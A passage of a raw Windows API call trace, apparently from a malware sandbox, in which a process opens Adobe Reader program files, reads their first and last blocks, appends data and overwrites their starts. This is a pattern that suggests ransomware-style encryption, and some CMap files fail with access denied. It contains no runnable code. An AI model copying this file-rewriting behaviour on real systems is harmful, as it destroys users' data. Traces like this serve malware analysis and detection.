lpNumberOfBytesWritten=0x2b0f2d0*=0x915, lpOverlapped=0x0) returned 1 [0040.964] CloseHandle (hObject=0x1cc) returned 1 [0040.964] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\stop_collection_data.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\stop_collection_data.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0040.970] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0040.970] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x393 [0040.971] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0040.971] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.971] ReleaseMutex (hMutex=0x128) returned 1 [0040.971] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="stop_collection_data.gif", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0040.971] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="stop_collection_data.gif", cchWideChar=24, lpMultiByteStr=0x1e7fc6c, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stop_collection_data.gif", lpUsedDefaultChar=0x0) returned 24 [0040.971] ReadFile (in: hFile=0x1cc, lpBuffer=0x1e3ad38, nNumberOfBytesToRead=0x393, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e3ad38*, lpNumberOfBytesRead=0x2b0f2bc*=0x393, lpOverlapped=0x0) returned 1 [0041.007] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0041.007] WriteFile (in: hFile=0x1cc, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x91b, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x2b0f2d0*=0x91b, lpOverlapped=0x0) returned 1 [0041.007] CloseHandle (hObject=0x1cc) returned 1 [0041.008] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\wow_helper.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\wow_helper.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0041.014] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0041.014] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x11f98 [0041.014] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0041.014] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.014] ReleaseMutex (hMutex=0x128) returned 1 [0041.014] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wow_helper.exe", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0041.014] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wow_helper.exe", cchWideChar=14, lpMultiByteStr=0x1e631ec, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wow_helper.exe", lpUsedDefaultChar=0x0) returned 14 [0041.014] ReadFile (in: hFile=0x1cc, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0041.020] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x10f98 [0041.020] ReadFile (in: hFile=0x1cc, lpBuffer=0x2736a68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2736a68*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.543] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x10f98 [0041.544] WriteFile (in: hFile=0x1cc, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.544] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0041.544] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2b0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0041.544] CloseHandle (hObject=0x1cc) returned 1 [0041.544] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmerum.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0041.545] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0041.545] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x4318 [0041.545] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0041.545] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.545] ReleaseMutex (hMutex=0x128) returned 1 [0041.545] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeRUM.htm", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0041.545] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadMeRUM.htm", cchWideChar=13, lpMultiByteStr=0x1e6306c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadMeRUM.htm", lpUsedDefaultChar=0x0) returned 13 [0041.545] ReadFile (in: hFile=0x1cc, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.547] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x3318 [0041.547] ReadFile (in: hFile=0x1cc, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.547] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x3318 [0041.547] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.547] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0041.547] WriteFile (in: hFile=0x1cc, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.548] CloseHandle (hObject=0x1cc) returned 1 [0041.548] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\KozGoPr6N-Medium.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\kozgopr6n-medium.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0041.548] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0041.548] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x53e91c [0041.548] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0041.548] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.548] ReleaseMutex (hMutex=0x128) returned 1 [0041.548] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KozGoPr6N-Medium.otf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0041.548] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KozGoPr6N-Medium.otf", cchWideChar=20, lpMultiByteStr=0x1e78b04, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KozGoPr6N-Medium.otf", lpUsedDefaultChar=0x0) returned 20 [0041.548] ReadFile (in: hFile=0x1cc, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0041.550] ReadFile (in: hFile=0x1cc, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0041.552] ReadFile (in: hFile=0x1cc, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x2b0f278*=0x2000, lpOverlapped=0x0) returned 1 [0041.552] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x53c91c [0041.552] ReadFile (in: hFile=0x1cc, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x2b0f278*=0x2000, lpOverlapped=0x0) returned 1 [0041.558] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x53c91c [0041.559] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2b0f28c*=0x2588, lpOverlapped=0x0) returned 1 [0041.560] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0041.560] WriteFile (in: hFile=0x1cc, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x2b0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.561] WriteFile (in: hFile=0x1cc, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x2b0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.561] WriteFile (in: hFile=0x1cc, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x2b0f28c*=0x2000, lpOverlapped=0x0) returned 1 [0041.561] CloseHandle (hObject=0x1cc) returned 1 [0041.561] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-UCS2C" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90pv-rksj-ucs2c"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.563] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-UCS2C", nBufferLength=0x104, lpBuffer=0x2b0f694, lpFilePart=0x2b0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-UCS2C", lpFilePart=0x2b0f690*="90pv-RKSJ-UCS2C") returned 0x46 [0041.563] GetLastError () returned 0x5 [0041.563] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2b0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pʰ폈Hʰ퐔HʰLʰꠐǦ\x01") returned 0x13 [0041.563] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.563] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2b0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.563] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2b0f894) [0041.563] RtlUnwind (TargetFrame=0x2b0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0041.563] RtlUnwind (TargetFrame=0x2b0f920, TargetIp=0x407184, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0041.563] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-UCS2C" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90pv-rksj-ucs2c")) returned 0x20 [0041.563] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-ETen-B5" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-eten-b5"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.564] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-ETen-B5", nBufferLength=0x104, lpBuffer=0x2b0f694, lpFilePart=0x2b0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-ETen-B5", lpFilePart=0x2b0f690*="Adobe-CNS1-ETen-B5") returned 0x49 [0041.564] GetLastError () returned 0x5 [0041.564] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2b0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pʰ폈Hʰ퐔HʰLʰꠐǦ\x01") returned 0x13 [0041.564] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.564] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2b0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.564] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2b0f894) [0041.564] RtlUnwind (TargetFrame=0x2b0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0041.564] RtlUnwind (TargetFrame=0x2b0f920, TargetIp=0x407184, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0041.564] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-ETen-B5" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-eten-b5")) returned 0x20 [0041.564] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-5" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-5"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.565] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-5", nBufferLength=0x104, lpBuffer=0x2b0f694, lpFilePart=0x2b0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-5", lpFilePart=0x2b0f690*="Adobe-GB1-5") returned 0x42 [0041.565] GetLastError () returned 0x5 [0041.565] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2b0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pʰ폈Hʰ퐔HʰLʰꠐǦ\x01") returned 0x13 [0041.565] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.565] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2b0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.565] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2b0f894) [0041.566] RtlUnwind (TargetFrame=0x2b0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0041.566] RtlUnwind (TargetFrame=0x2b0f920, TargetIp=0x407184, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0041.566] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-5" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-5")) returned 0x20 [0041.566] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-3" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.566] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-3", nBufferLength=0x104, lpBuffer=0x2b0f694, lpFilePart=0x2b0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-3", lpFilePart=0x2b0f690*="Adobe-Japan1-3") returned 0x45 [0041.566] GetLastError () returned 0x5 [0041.566] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2b0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pʰ폈Hʰ퐔HʰLʰꠐǦ\x01") returned 0x13 [0041.566] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.566] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2b0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.566] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2b0f894) [0041.566] RtlUnwind (TargetFrame=0x2b0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0041.567] RtlUnwind (TargetFrame=0x2b0f920, TargetIp=0x407184, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0041.567] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Japan1-3" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-japan1-3")) returned 0x20 [0041.567] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-0" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.567] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-0", nBufferLength=0x104, lpBuffer=0x2b0f694, lpFilePart=0x2b0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-0", lpFilePart=0x2b0f690*="Adobe-Korea1-0") returned 0x45 [0041.567] GetLastError () returned 0x5 [0041.567] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2b0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pʰ폈Hʰ퐔HʰLʰꠐǦ\x01") returned 0x13 [0041.567] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.567] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2b0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.567] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2b0f894) [0041.567] RtlUnwind (TargetFrame=0x2b0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0041.567] RtlUnwind (TargetFrame=0x2b0f920, TargetIp=0x407184, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0041.567] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-0" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-0")) returned 0x20 [0041.568] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\b5pc-ucs2"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.568] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-UCS2", nBufferLength=0x104, lpBuffer=0x2b0f694, lpFilePart=0x2b0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-UCS2", lpFilePart=0x2b0f690*="B5pc-UCS2") returned 0x40 [0041.568] GetLastError () returned 0x5 [0041.568] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2b0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pʰ폈Hʰ퐔HʰLʰꠐǦ\x01") returned 0x13 [0041.568] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.568] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2b0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.568] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2b0f894) [0041.568] RtlUnwind (TargetFrame=0x2b0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0041.568] RtlUnwind (TargetFrame=0x2b0f920, TargetIp=0x407184, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0041.568] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\B5pc-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\b5pc-ucs2")) returned 0x20 [0041.568] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETHK-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ethk-b5-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.568] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETHK-B5-H", nBufferLength=0x104, lpBuffer=0x2b0f694, lpFilePart=0x2b0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETHK-B5-H", lpFilePart=0x2b0f690*="ETHK-B5-H") returned 0x40 [0041.568] GetLastError () returned 0x5 [0041.568] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2b0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pʰ폈Hʰ퐔HʰLʰꠐǦ\x01") returned 0x13 [0041.569] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.569] LoadStringW (in: 